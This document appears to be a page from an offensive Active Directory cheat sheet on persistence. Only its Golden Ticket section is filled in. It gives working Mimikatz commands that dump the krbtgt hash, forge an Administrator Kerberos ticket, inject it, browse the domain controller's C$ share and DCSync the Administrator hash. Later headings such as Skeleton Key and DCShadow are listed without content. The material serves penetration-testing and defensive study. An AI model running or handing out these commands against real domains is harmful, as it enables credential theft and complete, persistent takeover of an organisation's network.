Persistance
Golden Ticket
# Run as DA locally on DC to get krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
# Run Remotely as DA to get krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'
# Get Domain-SID:
Get-DomainSID
# Get Domain Ticket policy:
(Get-DomainPolicy)."kerberos.policy"
# Create ticket:
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:DOMAIN.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:HASH id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
# Use ticket:
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
# Access
ls \\domain-dc\c$
Invoke-Mimikatz -Command '"lsadump::dcsync /user:DOMAIN\Administrator /domain:DOMAIN"'Silver Ticket
Skeleton Key
DSRM (Directory Services Restore Mode)
Custom SSP
ACL Abuse - AdminSDHolder
ACL Abuse - Security Descriptors
DCShadow - Forest Persistance
Last updated